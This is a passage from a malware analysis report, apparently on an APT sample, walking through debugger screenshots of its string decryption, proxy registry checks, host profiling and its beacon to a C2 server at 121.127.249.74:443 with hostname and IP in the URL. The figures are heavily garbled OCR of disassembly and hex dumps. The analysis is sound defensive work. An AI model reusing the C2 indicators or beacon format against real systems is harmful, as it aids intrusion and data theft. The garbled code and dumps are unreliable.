L @ 67184B9F 88 54 18 FF mov byte ptr ds:[eax+ebx-1],d1
i) ®| 57184843 16 inc esi
e | 57154BA4 8B 45 F8 mov eax,dword ptr ss:[fJebp-sQ
i e 57184847 ES AD EB FF FF E&1T apt.&718374C
e 8| 671E4BAC 3B FO cmp esi,eax
] I r----® || 67 1LE4BAE « FTE 0L jle apt.67184BB5
3 i @|| 67184BBO BE 01 OO0 00 00 mov es1,1
i 1 L--—e| 6T134BBS 43 inc ebx
e #| 67184BE6 4F dec edi
bl ®| 67184BE7 ~ 75 B7 jne apt.&7184B70
it +®| 671L54BED 8B 45 F4 mov eax,dword ptr 55:¥ehp—c]
@ 67184BBC 8B 55 FC mov edx,dword ptr ss:febp-4f)
®|| c7184BEF E8 58 EA FF FF call apt.er18361C
o £
al=38 '8’
byte ptr [eax+ebx*1-1]=[03FE0O038 "962(257+*12:)170=274"]=3% 'S’
CODE: &67184B73 apt.exe: $4B73 #3IF73
Poumpl | Wipump2 @WHDump3 B Dump4 B Dump s B watch1  Ix=lLocals i struct
Address | Hex ASCII
O02FEDO28 (3% 36 32 28(32 35 3F 2A(|31 322 32A 29|3F 30 3D 32(862(257*12:)70=2
O03FEQO48| 37 34 00 0Q0|00 OO OO QOO0 OO0 OO OOQ|00 OO0 OO0 O0| Fd.ieeeecannnnns
O3FEQOS8| 00 OO0 OO QOO0 OO0 OO OO(00 00 OO OD|00 00 00 00| .@.cueeeeeannnnns
O03FEOQOGS| 00 OO0 OO OO|00 OO OO OO|00 OO0 OO OO|00 00 OO0 00| & v eeeeaeennns
Figure 23

After these operations are finished, the result represents the C2 server and the
corresponding port number:

Address | Hex ASCIT |

0ZFECQOSS (3 32 31 2ZE|31 32 37 2E|32 34 39 2E|37 34 3E 34|@21.127.249.74>4
0ZFEQOS3 |34 33 08 04|03 06 03 07|08 04 02 06|03 OF 08 04| 43. . v vnnnnnans
03FEQOAS |03 O6 03 OF |08 04 03 06|03 OF 08 04|03 06 03 OF | ceeennnsnnnnsnas
0ZFECOES (08 04 02 06|02 OF OB 04|03 06 02 OF |08 04 03 06| ... cneennnnnnns
03FEQOCS | 00 OO0 OO 00|00 OO OO0 00|00 OO0 OO 00|00 00 00 00| oo cevnsnnnnsnns

Figure 24
The malware opens the “Software\Microsoft\Windows\CurrentVersion\Internet Settings”
registry key by calling the RegOpenKeyEXxA API:

B e e P
: & 19 00 02 00 Busn S5019 o EaEs
. o E
. 33 :':; cs ?:;heax dword ptr ss:[ebp-35j XB7TW_6 3 (EmpTy) X8TTW_7 3 (Empty)
. B8 8C S5E 18 67 mov_eax,apt.67185E8C
. E8 EA EF FF FF €&17 apt. 67184924 xB875tatusword 0000
. 8B 45 C8 moy eax,dword ptr ss:[ebp-35] XBTSW_B O XxB7TSW_C3 0 xB7SW_CZ2 O
. ES8 OA EO FF FF call apt 6718394C X87SW_C1 O XB7SW_CO O X87SW_ES O
. 50 push eax XB7SW_SF 0 x87SW.P 0 x87SW_U 0
. 68 01 00 00 80 ush 80000001 e et P
E8 C3 EB FF FF | &1l <apt. chnpenkeyzw v
GO , | Default (stdcal) >[5 2] unlod
SET ‘ﬂbl 80000001
l2: esp+4] O3FEOEF0 "Software'\\Microsoft\'
3: [esp+8] 00000000
CODE: 67185948 apt.exe: $5945 #4D48 E" [RESHECEOMEZGIRS.

oumpi  @oump2  Hoump3  @oump4  @hpumps & {ikcfGororees | 03FEOEFD

Address | Hex ‘aﬁ::! A|°°’-9F§g m
0019FEES| 00 00 00 03| 00 00 00 00|00 OO0 O0 OO(EQ O6 FE O3] .....
il ol el b lbn M|nn nn An \'\|nn T DOLSFETO| DD19FF228

Figure 25

"software\\Microsoft\\wi ndc-s\\currem:\mrs jom\\Internet Settings"
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The “ProxyEnable” value is extracted using the RegQueryValueExA function, and it’s
compared with 1. This action has the purpose of verifying if the current machine is using a

proxy for network communications:

Figure 26

i . 50 push eax XE7r7 0Q000000000000000000
! L] 8D 45 FO lea eax,dword ptr ss:[febp-10§
i . 50 push eax b b, x87Tagword FFFF
! : ?g 45 F8 'Ieaheax,dwor'd ptr ss:[lebp-3j x87TW_O 3 (Empty) Xx87TH
! o on g:gh g‘“ X87TW_2 3 (Empty)  X87Tw
i
! . 8D 55 C4 lea edx,dwerd ptr ss:|[Jebp-3Cj x87TW_4 3 (Empty) SdrAL
R B8 OC 5F 18 67 mov eax,apt. 67 185F0C X8TTW_E 3 (EmpTy)  X87Tw
! . E8 AD EF FF FF EE1T apt.&7184924
i . BB 45 C4 mov eax,dword ptr ss:|[febp-2Cf] X87sStatusword 0000
| L E8 CD DF FF FF call apt.67183%4C X87S5W_B 0O XB7sW C3 O
| . 50 push eax X87SW_C1 O X87SW_CO O
0 ®( 67185980 8B 45 FC mov eax,dword ptr ss:[ebp-4f XB7SW_SF O X875wW_P o
[ #| 67185953 50 push eax e
Eg—>n E8 8F EB FF FF call <apt.ReglueryValueExA> v
i * (i B N 0 TT "7 77T Default (stdcall)
== 1: [esp] 00000168
<apt.RegqueryvalusExax> z: [esp+4] O3FEO7DC "Prox:
3: [esp+8] 00000000
4: [esp+C] DO19FFz4
CODE: 67185984 apt.exe:$59584 #4D54 [ - E ]
% 00000168
&8y Dump 1 4% Dump 2 4% Dump 3 24 Dump 4 2% Dump 5 4 watch 1 lx=] Locals ' struct 03FE07DC | "ProxyEnable”
Address | Hex ASCII m
O019FEES |00 00 00 0OO[00 OO0 OO0 00 EQ 06 FE 02]........ u.p.o.p OD19EE1C
O019FEF8| 00 00 00 00|00 OO0 00 Q0|00 00 00 OO(00 00 00 00|..cvsinsnvsnrnuns
AMTarFEnR |l AN An AN Andnn a0 AN Aanloan Aan a0 anlon 00 a0 an OOL9FETO| OO1IFF20

If “ProxyEnable” is equal to 1, the malware proceeds and extracts the value of “ProxyServer”
(hostnames/IPs of the proxy server on the network), as displayed in the next figure:

Figure 27

o ] 50 push eax
! i i : ?g 45 F8 ;Sghe:;;dwor‘d ptr ss:[lebp-5j x87Tagword FFFF
|
s £ oo Bih S Tl
1 ] 8D 55 BC lea edx,dword ptr ss:[ebp-440 = PLy
hd g P P x87TW_4 3 (Empty)  x87Tw
i . B8 2C 5F 18 67 mov_eax,apt.67185F2C =
| iy . E8 33 EF FF FF call apt.67184924 XEZIWCG G R(EMIT) S B N
i B . BB 45 BC mov eax,dword ptr ss:[[ebp-44]
il . E8 53 DF FF FF €all apt.6718334C HB7Statusword 0000
i L . 50 push eax X87SW_B O x87SW_C3 0O
P L] BB 45 FC mov eax,dword ptr ss:[ebp-4ff XB7FSW_C1 0 XBFSW_CO O
(S L S0 push eax XKBTSW_SF 0 xXB75W_P 1]
B ES 15 EB FF FF €all <apt.RegQueryvValueExA= R
I L] 85 CO test eax,eax W
e S e e Default (stdcall)
by 1: [esp]l 00000168
<apt.RegqueryvalueExA=> 2: [esp+4] O3FE0954 "Prox
3: [esp+8] 00000000
4: [esp+C] OD19FF24
CODE:671859FE apt.exe: §59FE #4DFE -
5 00000168
@Woump1  @oump2z @Woump3  EWoumpa  Woumps @ watchi  lx=lLocals & Struct D3FE0354 | "Proxyserver”
Address | Hex ASCIT m
D019FEEC |28 08 FE 03 00 00 00 00|..pb.U.p.8.b..... R
pt.67183951
D019FEFC |00 00 00 00|00 00 DO 00|00 0D 00 00|00 D0 00 00| .vcuweuuennennns
nntaccn- | nn o an o onnd oo An e ol oan n Ao el AN e e 0013FE70| O013FF20

The gethostname function is used to retrieve the host name for the local machine:

CODE: 67188CT0 apt.exe:$3C70 #3070

B4 Dump 1 4 Dump 2

B2 Dump 3

B2y Dump 4

24 Dump 5 @ Watch 1 [x=] Locals

Figure 28

. 50 push eax XB75W_EB
® BB 45 FC mov eax,dword ptr ss:[Eebp-4] XB7SW_C1
L ES8 DD AC FF FF €all apt.&718394C KB7SW_5SF
. S0 push eax
[EIP g L E8 EB B9 FF FF €all <apt.gethostname> W [
o 0 T T 7T = Default (stdc
1: [es
<apt. gethostname:> Z: Lesgld
3: [esp+E
4: [esp+C

a) 03FED124 | "E4"
4F Struct  pplSFEFS| 00000040

The function result from above is used as a parameter for the gethostbyname function, which
can be used to retrieve host information corresponding to the local machine, as shown in

figure 29:

13/40



£ e e — | rwmmom e e
E8 93 B9 FE FF caTI <apt. gethosthynames> w
T ————_EEEEE S Default (stdcall)

1: [esp] 02FE0Q174 "DES
2: [esp+4] ODLSFF34
3: [esp+8] E&7188D6C ap
4: [esp+C] O0L1SFF2C

<apt.gethosthynames>

CODE: 67188CC0 apt.exe:$8CC0 #30C0
[T — T Wil . il a Wil . - [ R T S ) om 03FEDL74 | "DESKTOP-2C3IQHO"
Figure 29

The inet_ntoa function is utilized to convert the IP address of the host into an ASCII string
(dotted-decimal format):

FF 20 push dword ptr'ds:[eai] E tifif

ES8 5B B9 FF FF €all <apt.inet_ntoa> W
e e N Ay — GaE

>
- 1 [
<apt.inet_ntoa= 2: [
2 [
4 [
CODE: 67188CD0 apt.exe:$8CD0O #B0D0

5
i

Fecen i eyt L] e

3
‘

L Bl e e Bl e [0 A SO | il e e

Figure 30
There is some sort of reverse operation done by the malware because it’s using the

inet_addr function to convert the string representation of the IP address into a proper
address for the IN_ADDR structure:

50 push eax i . =
E8 27 B9 FF FF €all <apt.inet_addr> W
e S e = Default (stdcall)y
= 1: [esp] O3FE0L190 "19:
<apt.inet_addr> 2: [esp+4] ODLIFF34
3: [esp+8] 67188D6C a}
4: [esp+C] 0019FF2C
CODE: 67188CFC apt.exe: $8CFC #80FC
il e 4 Wil .~ Al . .——— Wl . a il . - PR e s e AR B om 03FE0150 | "192.168.164.128"

Figure 31

The hostname and the IP address of the machine represented as a decimal number are
combined into a string that will be used in the upcoming network communications with the C2
server:

| Address | Hex ASCII

O3IFEDIDC | 44 45 53 4B |54 4F 50 20|32 2F | DESKTOP- Fl ure 32
0O3FEOLIEC | 322 31 35 38|32 37 34 37|35 32| 2158274752,/21582 g
03IFEQLFC I3FR3iarias| 32030 00 00|26 00 00 00|02 00 00 OO|F4FSE0. .&. .. ...

The malicious process uses the same decryption algorithm described before in order to
decrypt important strings. The function is highlighted in the next picture:
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CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:

An example of how the algorithm performs is displayed below, where EAX represents the
encrypted string and the key is moved into the EDX register:

671852F9
671852FE
67185381
67185387
6718538C
67185312
67185315
6718531A
6718531F
67185324
67185327
67185324
67185320
67185332
67185337
6718533C
6718533F
67185344
67185347
6718534C
67185351
67185354
67185359
6718535C
67185361
67185366
67185366
6718536E
67185373
67185376
67185376
67185388
67185385
67185388
6718538E
67185393
67185399
6718539E
67185341
67185346
67185346
67185368
67185363
67185368

call
push
push
push
push
lea
mav
mav
call
push
push
lea
mav
mov
call
push
push
lea
mav
call
push
push
lea
mav
mav
call
push
push
lea
mov
mav
call
push
push
push
push
push
lea
mav
mav
call
push
push
lea

sub_&71B4BFa

[ebptvar 8]
ds:dword_6718BR34

offset str__ .Text
ds:dword_6715B688

ecx, [ebp+var_C]

edx, offset _str_ dhg.Text
eax, offset str_pgp g .Text
sub G7184BF@

[ebptvar ]

[ebptvar_4]

ecx, [ebptvar_18@]

edx, offset _str_ dhg.Text
eax, offset _str_ mfck_ wit O0FPX.Text
sub_B7184BF@

[ebpt+var_18]

offset str___ @.Text

edx, [ebptvar_14]

eax, offset str ud J.Text
sub_B7184028

[ebptvar_14]

offset _str____ @.Text

ecx, [ebpt+var_18]

edx, offset _str_f_dg.Text
eax, offset str Gmgbvz Kg crgia.Text
sub G7184BF@

[ebptvar_ 18]

offset str___ @.Text

ecx, [ebptvar_1C)]

edx, offset _str T _dg.Text
eax, offset _str_Naws__.Text
sub_G71B4BF@

[ebp+var_1C]
ds:dword_6718BR34

offset str_ .Text
ds:dword_6718B638

offset _str___ @.Text

ecx, [ebp+var_28]

edx, offset _str_f_dg.Text
eax, offset str V e ko ha_dgml.Text
sub G7184BF@

[ebptvar_26]

offset str_ @.Text

edx. lebotvar 241

Figure 33
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LA AR R R R R R R R A A A R A R A AR 2 222222222222 222222222l

00

18

00

FF

oo
FF

FF
EF

FF

FF

&7

oo
FF

o0

FF

FF

esi
ebx
esp,ebp
ebp

pop
pop
mav
poj

Tea eax,dword ptr ds:[eax]

push ebp

mov ebp,esp

add esp,FFF

push ebx

push esi

push edi

mov dword ptr ss:

mov dword ptr ss:

mov dword ptr ss:jfebp-4],eax

mov_eax,dword ptr ss:febp-4§

€all apt.&718393C

mov eax,dword ptr ss:[Jebp-c2§
apt.e718393C

XOor eax,eax

push ebp

push apt.&7184CAT

push dword ptr

mov dword ptr

mov esi,l

mov eax,dword ptr ss:febp-4J

AT apt.6718374C

mov edi,eax

test edi,edi

FEFFO

ebp-Cll, ecx
febp- 88, edx

: [eax]
: [eax],esp

Hide FPU

EAX
EBX
ECX
EDX

EBE
ESP
ESI
EDI

67185448
00000001
0019FF24
00000000
D019FEES
0019FECO
00000001
00000008

"IANN TP was "

EIP 67154C38 apt.6&7184C3B

EFLAGS 00000202
ZF O PFO AF O
OF 0O SFO DF O
CFO0 TF 0 IF1

LastError 00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

GS D02B FS 0053
ES DD2B DS 002B
€S 0023 S5 0028

X87ro
x87ri1
X87r2
X87r3
X87r4
X87rS
X87re
X87r7

3FFCDDOLEDAE3ZFBEBDDS
4002A000000000000000
3FFCDDO1EOAE3FBEBDDS
3FFF8000000000000000
3FFCDDOLEDAE3SFBEBDDS
4002A000000000000000
3FFCDDO1EDAE3ZFBEBDDS
3FFF8000000000000000

0.215
10. 00|
0.215
1.000
0.215
10.00
0.215
1.000

Empty
Empty
Empty
EmpTy
Empty
EmpTy
Empty
EmpTy

x87Tagword FFFF

X87TW_0 3 (Empty)
x87TW_2 3 (Empty)
X87TwW_4 3 (Empty)
X87TW_6 3 (Empty)

X87TW_1 3 (Empty)
X87TW_3 3 (Empty)
x87TW_5 3 (Empty)
x87TW_7 3 (Empty)

x875tatusword 0120

jle apt.67184C81

mov ebx,1

mov eax,dword ptr ss:[febp-s§
mov al,byte ptr ds:[eax+ebx-1]
and al,F

|mov edx,dword ptr ss:[ebp-8]
mov dl, e ptr ds:[edx+esi-1]
and di,F

xor al,dl

mov byte ptr ss:febp-0f,al

lea eax,dword ptr ss:febp-43
€al) apt.671839A4

mov edx,dword ptr ss:[febp-43
mov dl,byte ptr ds:[edx+ebx-1]
and d1,FoD

mov c1, e ptr ss:febp-DJ
add dl,c

mov byte ptr ds:[eax+ebx-1],d1
inc esi

mov eax,dword ptr ss:[febp-z§
€811 apt.e6718374C

XB7SW_B 0 xB875w_C3
XB75W_C1 O
XB75W_SF O

XBTSW_P

XBTSW_CO 1

0 x875W.C2 O
NBTSW_ES O
1 XBTSW_U [v]

Figure 34

| edx=0
dword ptr [ebp-8]=[0019FEED &".dhg"]1=67185438 “.dhg"

By placing a breakpoint after the operation is supposed to end, we can observe that the
string was successfully decrypted:

EE-———>e

67184C84
& 67184CE7

£

45
55
o0

F4

E9 FF FF

e e e e
mov eax,dword ptr ss:

mov edx,dword ptr
Eall apt.6718361C

gebp—cg
s5:|flebp-40

edax=4

CODE:67184C81 apt.exe: $4C81 #4081

dword ptr [ebp-C]l=[00L3FEDC]=0019FF24

Figure 35

8 Dump 1l | WYpump2z WY Dump3 @Y Dump4 @4 Dump S @ watch1  Ix=lLocals &
Address | Hex ASCIT
D3FED234 |47 45 54 20|68 74 74 7F0O|3A 2F 2F 00|E4 BS 18 67 |GET hEtp:/f.ou.g

After a few more operations are performed, we can distinguish other interesting strings, like
the User Agent that will be used in the communications with the Command and Control

server:
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Address | Hex ASCIT
O3FEQ234|(47 45 54 20(68 74 74 70(3A 2F 2F 00|16 00 OO OO|GET http://.....
D3IFECZ244 101 OO0 OO0 OO(ODF OO OO DO|2F 63 78 B7F (B9 64 2F D0 oo v v nnus Joxgid/.
03IFEOZ254 |22 00 00 00|01 OO0 OO0 OO|13 OO0 OO0 OO|2F 69 BE B4 | ™. .. i iinvnn f1nd
0OZFEOZ264| 65 78 2ZE 70|68 7O 20 48|54 54 50 2F |31 ZE 30 00| ex.php HTTP/1.0D
DIFECZ274 1A 0D OO OO(OL OO OO0 OO|0OB OO0 OO0 OO(4) 63 B3 BS | ceiesnnnnnns AEEE
OZFED284 |70 74 3A 20|2A 2F 2A 00|26 00 0D 00|01 OD OO OO0 | pL: */*. & . ..vuus
03FEOQ294 (16 00 OO0 00|41 63 63 65|70 74 2D 4C (61 GE 67 75| ....ACcCept-Langu
O3IFEOZ2A4 |61 &7 65 3A |20 65 GE 2D |75 73 00 00|16 OO0 OO OO age: en-US......
OIFEQZE4 |01 00 OO 00|06 OO OO0 OO(48 6F 73 74 |3A 20 00 00| oo v e vwwns HostT
O3IFEQ2C4 | 22 00 OO OO|O1L OO OO 00|10 00 OO0 00|50 F2 6L 67 | ™. .o ieeennns Prag
O3FE0ZD4| 6D 61 3A 20|6E GF 2D 63|61 63 68 65 (00 00 72 65 |ma: no-cache..re
O3IFECZE4 |52 OO OO OO(OL OO OO0 OO|43 OO OO DO(55 F3 BS FZ(R..ueaa. C..cUser
OZFEDQ2F4|2D 41 &7 G5 |6E 74 2A 20(4D 6&F 7A 63 |6C 6C 61 2F|-Agent: Mozilla/
OZFEQ304 (34 2E 30 20|28 63 6F 6D|70 61 74 69|62 6C 65 3B| 4.0 (compatible;
0OZFEDQ314|20 4D 53 49|45 20 37 2E(30 3B 20 57|62 6E 64 6F| MSIE 7.0; wWindo
DIFECQ3IZ24 | FF 73 20 4E|54 20 35 ZE|31 3B 20 53 (56 31 29 00D ws NT 5.1; Swi].
DIFECQ3I34 )22 00 OO0 OO(0OL OO OO0 OO|11 00 OO0 OD(43 6F BE 74| .o ivnnnn s cont
O3FEOQ344 (65 T6E F4 20| 4C 65 BE 67 |74 63 3A 200300 00 SC 57| EME=S Length 0. \w

. Figure 36

The sample builds an HTML document that contains the infected hostname and the IP
address corresponding to the local machine. This form will be used in a POST request as

we’ll see later on:

Address | Hex

ASCII

DIFED4B4
DZFEQ4CH
DIFEO4D4
O3IFED4E4
D3IFEOQ4F 4
DIFEOSO4
D3FEOS L4
D3FEOSZ4
D3IFEOS 34
DZFEOS 44
DIFEOSS 4
D3IFEOS 64
D3FEOST 4
DIFEOS B4

3Cc
el
3E
o1
34
3C
&D
3C
&C
3E
3C

68
65
3Cc
oo
3E
2F
6C
68
65
3C
68

74
3E
2F
oo
oo
68
3E
74
3E
2F
34

31 35 38
2F 62 BF

6D
52
68
0o
o0
34
o0
6D
52
68
3E

I -

32
a4

6C
65
55
0A
2z
3E
7E
60
65
55
44
32
E
79

3E
73
6l
oo
oo
3C
oo
3E
73
6l
45
31
34
3E

3C
75
G4
00
00
2F
0o
3C
75
&4
53
35
37
3acC

68
6C
3E
oo
oo
62
oo
68
6C
3E
4B
38
35
2F

&5
4
00
3C
o1
&F
o1
65
74
oo
54
32
32
68

61
3c
00
62
00
54
00
61
3c
oA
4F
37
30
74

&4
2F
oo
GF
oo
79
oo
a4
2F
3C
50
34
3C
6D

3E
it J
o0
64
o0
3E
oo
3E
74
62
2D
37
2F
6L

20 74 60 74

62
1A
79
13

6D

&9
&F
3z
35
68
3E

74 BC BS
00 00 00
3FE 3C 68
o0 00 00

o0 o0 00

74 BC &5
64 79 3E

B
2 PE 3P
34 3E 3C
D0 56 65

<html=
1e=Res

=</ head=

{fh4}{fbudy}{fht

chtm1}
Tex=Res

=</heads>.

<h4=DE

<head=<tit
ult</title

chead}<t1t
ult</title
« <body>
SKTOP-Z2HEE

2158274752,/2
15827475202/ ha4==

Sbody=

</html=. Ve

_Figure 37

The socket function is used to create a socket, and the following parameters are passed to
IPv4 address family), 0x1 (SOCK_STREAM — provides
sequenced, reliable, two-way streams with an OOB data transmission mechanism) and 0
(the protocol is not specified). The function call is shown below:

the function call: 0x2 (AF_INET —

E—

DA FF FF

xor ebx,ebx
push ©
push 1
push 2

cn'l 'I -:apt sucket:~

i

<apt.socker>

CODE: 67186C06 apt.exe: $6C06 #6006

B4 Dump 1

@Y Dump 2

B4 Dump 3

4% Dump 4

B4 Dump 5

9 watch 1

[x=] Locals

J Struct

[addre== [ bav

Figure 38

The setsockopt APl is used to set a socket option. The following parameters can be

lasrTT

QODL19FEFC | 00000001
. || 0O19FFOO0 | 00000000

———

highlighted — OXFFFF (SOL_SOCKET - socket layer), 0x8 (SO_KEEPALIVE — enable keep-
alive packets for a socket connection):
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T Pk X87°

i ®( 67186C1D 64 D4 push 4
| @ 67186C1F 80 45 F4 lea eax,dword ptr ss:[Jebp-CJ
! o 67186C22 50 push esax XB7!
0 ®| 67186C23 &4 08 push & KB7!
1 ®| 67136C25 &8 FF FF 00 00 push FFFF KBF!
A @ 67186C2A 8B 06 mov eax,dword ptr ds:[esi] XE87!
i ®| 67186C2C S0 push eax
Eg—— ES8 16 DA FF FF call <apt.setsockopt> v [——
i & e g g e e P gy s g, T EpSTLTo Defa
>
.- 1:
<apt.setsockopt> >
3:
4:
CODE: 67186020 apt.exe: 602D #602D S
z DO0OD0Z30 |
Woump1  @Woumpz  @Woump3  WHoump4  @Wpumps | @ watch1  [x=lLocals & Shuct | [
address | ex asci1 fter | coooe
O3FED384 |47 45 54 2D|6& T4 74 ?D|3A 2F 2F 31|32 31 2E 31|GET http://121.1 0019FFO0 | 00000004
Figure 39

The second setsockopt call has different parameters — OxFFFF (SOL_SOCKET — socket
layer), 0x1006 (SO_RCVTIMEO - receive timeout), 0x15f90 = 90000ms = 90s (optval
parameter):

| e s7186c30 6A 04 push 4 KBT
1 (| 67186C3E 8D 45 FO Tea eax,dword ptr ss:[lebp-104
H ®|57186C32E 50 push eax ME87!
! ® (| 67 186C3F 68 06 10 00 OO push 1006 X871
! ® (| 57186C44 68 FF FF 00 00O push FFFF WBT!
d ®(| 67186C49 BE 06 mov eax,dword ptr ds:[esi] X87!
! ® (| 67156C4B 50 push eax i

Eﬂ—!—)- E8 F7 D39 FF FF ca'l'l;:ap::.setsockgpr::\- . - -
: L]
e

<apt.setsockopt>

CODE: 67186C4C apt.exe: §6C4C #604C

Boump 1t @Wpump2  Eoump3  WUoump4  @Wpumps @ watch1  Ix=lLocals (;f;’ Struct  [pol19FEFa

Address | Hex ASCIT ~ gig:;:'fg
03FE0384 |47 45 54 20|68 74 74 70|3A 2F 2F 31|32 31 2E 31|@ET http://121.1

naxcocnlaal 29 27 2 29l2a4a 26 2 27124 28 24 2al22 2 £2 7ola37 2440 Tasaaz frw OO013FFO0

Figure 40
The third setsockopt call is different than the second one because it sets the send timeout to
90 seconds:

! ®| 67186C58 G4a 04 push 4 DR
L ®| 67186C5A 8D 45 FO lea eax,dword ptr ss:[[ebp-10]
! ®| 67186C5D 4] push esax XB7
i ®| 67186C5E &8 05 10 00 0O push 1005 XB7
1 ®| 671B86CE3 68 FF FF 00 00 push FFFF XET!
1 ®| 67186C6ES8 BB 06 mov eax,dword prtr ds:[esi] XB7!
! ®| 67186C6A 50 push eax PLET
Eg——» ES D8 D9 FF FF €a11 <apt.setsockopt> W -
! L e S T el Defau
>
- 2%
<apt.setsockopt> >
2:
4:
CODE: 67186C6E apt.exe: $6CGE #G0GE i
: 00000230
@44 Dump 1 BYbump?2  @WDump3 ¥ Dump4 B4 Dump 5 @ watch 1 [x=lLocals & Struct | [l
address | ex asci1 Qb
O3FED384 47 45 54 20|68 74 74 70(|3A 2F 2F 31(32 31 2E 31|BET http://121.1
ACCA>aAal 22 27 2C 2721724 2a 27C 27124 A 74 4127 PC LT TOI T 4G Edf:l::d'-‘ Fmw mlgFFm M4
Figure 41

The port number 0x1BB is converted from TCP/IP network byte order to host byte order
(little-endian on Intel processors) by using a ntohs function call:
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tE push esi

E8 DB E5 FF FF €all <apt.ntohs>
66 89 45 EA mov word ptr ss:[flebp-16], ax v
S e o e e S L e L Defal
>
a1kt
<apt.ntohs> 2
3:
4:
CODE: 67186040 apt.exe: $6040 #5440
il my e 4 il e aldlil e Al e aldlid e [ T Fartn — T mlﬂn
Figure 42

The malware is using the inet_addr function to transform the C2 IP address into a proper
address for the IN_ADDR structure:

56
ER CF E5 FF EFE

push esi

) | XBTSW_SF 0 XB7SW_P
€all <apt.inet_addr> :

83 F8 FF cmp eax,FFFFFEFF v

Default (stdcall)

= : [esp] O3FEQOFS "12
<apt.inet_addr> [esp+4] O0D19FEE4
[esp+8] 671860B7 a

[esp+C] OOL9FEDC

et

CODE: 67186054 apt.exe:$6054 #5454

[T —

Figure 43
There is a network connection established to the C2 server using the connect function. The
following elements can be highlighted in the sockaddr structure: 0x2 (AF_INET — IPv4
address family), 0x1BB = 443 (port number), 0x797FF94A (the C2 server represented as a
hex value). The function call is represented in the next figure:

03FEOOFS | "121.127.249.74"

i 64 10 push 10 X875
i 8D 45 ES8 lea eax,dword ptr ss:[ebp-15§ XB75Sh
: 50 push eax HB7SH
! 57 push edi
Bg— E8 81 E5 FF FF €all <apt. connect> W
! —————.—_—aee = Default
e 1: [e
<apt.connects> 2: [e
3: [e
4: [e
CODE: 67186092 apt.exe:$6092 #5492 =

; 00000230
&% Dump 1 &Ly Dump 2 &Ly Dump 3 &Ly Dump 4 Bie Dump 5 @ watch 1 [x=] Locals £ Struct DOD19FEA4 | DO19FEC4
S ascr T m
O019FEC4|02 00 01 BB|79 7F F9 4A[E6 D6 C1 65 (A4 FE 19 00|...»Y.uJz0AeHp. . S bt ot RE S

Figure 44

The sample performs a GET request to the C2 server with the user agent that was decrypted
earlier: “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)”. The data is
sent using the send function:
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| ) ADS IM_% =
1 L] 64 00 push 0 S
[ i #| 67186BES 8B 45 FC mov eax,dword ptr ss:|[febp-4] KEBTTH_E =
o] ®| 671B6BEE E8 BF CB FF FF €all apt.&718374C
:: ®| 671B6BED 50 push eax XB7Status
! ! ®| 6T1BEBEE 8B 45 FC mov eax,dword ptr ss:|[febp-4i X875SW_B
(e #| 67186B91 E& B6 CD FF FF call apt.6718394C ¥B7SW_C1
1
:: #®| 671BGB96 50 push eax ¥B7SW_5F
! ! ®| 671BEBS7 SE push esi sy ==
Eg—— ES AZ DA FF FF €all <apt.send- W
b . - i = Default (stdci
sl e =
1: [esp]
=apt.send> 2: [esp+4
3: [esp+8
4: [esp+C
CODE: 67186EB98 apt.exe:$6EB98 #5F98 r =

3 IEHEEHEHCHKKHZEG
4y Dump 1 44 Dump 2 @4 Dump 3 4 Dump 4 4 Dump 5 % watch 1 l=] Locals & Struct OD19FEDE | 02FEQ384 | "GET
Address | Hex ASCIT a || QOLIFEDC | 00000122

O3FED384 |47 45 54 20(68 74 74 70O|3A 2F 2F 31|32 31 2E 31|GET http://121.1 gﬂ}giﬁg? gggggggg e
03FEQ324|32 37 ZE 32|34 3% 2ZE 37 (34 3A 34 34|33 2F 63 78| 27.249.74:1443/CX UULEFEES 67186EEE aﬁt €
03FEQ3A4| 67 69 64 2F |44 45 53 4B(54 4F 50 20|32 43 33 49| 9id/DESKTOP-2C3I 0019FEEC | D019FEEC )
O3FEO3B4 (51 48 4F 2F (32 31 35 38|32 37 34 37|35 32 2F 32|QHD,/2158274752/2 DOD19FEFO| 67188680 | apt. €
03FED3C4 |31 35 38 32(37 34 37 35|32 30 2F 69|6E 64 65 78| 1582747520/index UﬂlEFEF4 00000000 i
03FEQ3D4|2E 70 &8 70|20 48 54 54|50 2F 31 ZE|30 0D OA 41|.php HTTP/1.0..A O013FEFE | DZFED284 | "GET
03FEO3E4| 63 63 65 70|74 3A Z0 ZA|2F 2A 0D 0DA|41 63 63 65| cCCept: */"..AcCCe 0019FEFC | 0019FF2C
O3FEO3F4 |70 74 2D 4C |61 GE 67 75|61 &7 65 3A(20 65 GE 2D | pt-Language: en- DULEFFhU r67186CEL| retur
03FEOQ404 |75 73 0D OA|48 6F 73 74|3A 20 31 32(31 2E 31 32| us..Host: 121.12 oo19eF04 || oo1oEE34| Point
03FEO414 |37 2E 32 34|39 2E 37 34|3A 34 34 33|(0D 0A 50 72(7.249.74:443..Pr oo19ec0s || 67186079 aﬁt é
03FEOQ424 |61 &7 6D 61 |3A 20 6E 6F|2D &3 61 63|68 65 0D OA| agma: nn—cache.: oo1aEEoc || 601sEEZC i
O3FEQ434|55 73 65 72|20 41 67 65(6E 74 3A 20|4D 6F 7A 63| User-Agent: Mozl 0019FF10 || 671912F0| apt.E
03FED444|6C 6C 61 2F |34 2E 30 20|28 63 6F 6D |70 61 74 62(11as/4.0 (compati UﬁlgFFl4 0030B0D00D i
03FED454| 62 6C 65 3B(20 4D 53 49|45 20 37 2E|30 3B 20 57| ble; MSIE 7.0; W oo19eF18 || oooooooo
03FED464| 69 6E 64 6F (77 73 20 4E|54 20 35 2E|31 3B 20 53|indows NT 5.1; S oo19eE1c || ooo1sE90
03FEQ474|56 31 29 0D |0A 43 6F 6E(F4 65 6E 74|2D 4C 65 6E|V1)..Content-Len oo12eF20 || oooooooa
O3FEQ484| 67 74 65 3A|20 30 0D 0A|43 6F G6E 6E|65 63 74 69|gth: 0..Connecti UﬂloFF;4 02FE0720| "POST
03FED494| 6F 6E 3A Z0|4B 65 65 70(2D 41 &C 69|76 65 0D OA|on: Keep-Alive.. =

Figure 45

The malware reads the response from the server using the recv function, byte-by-byte (the
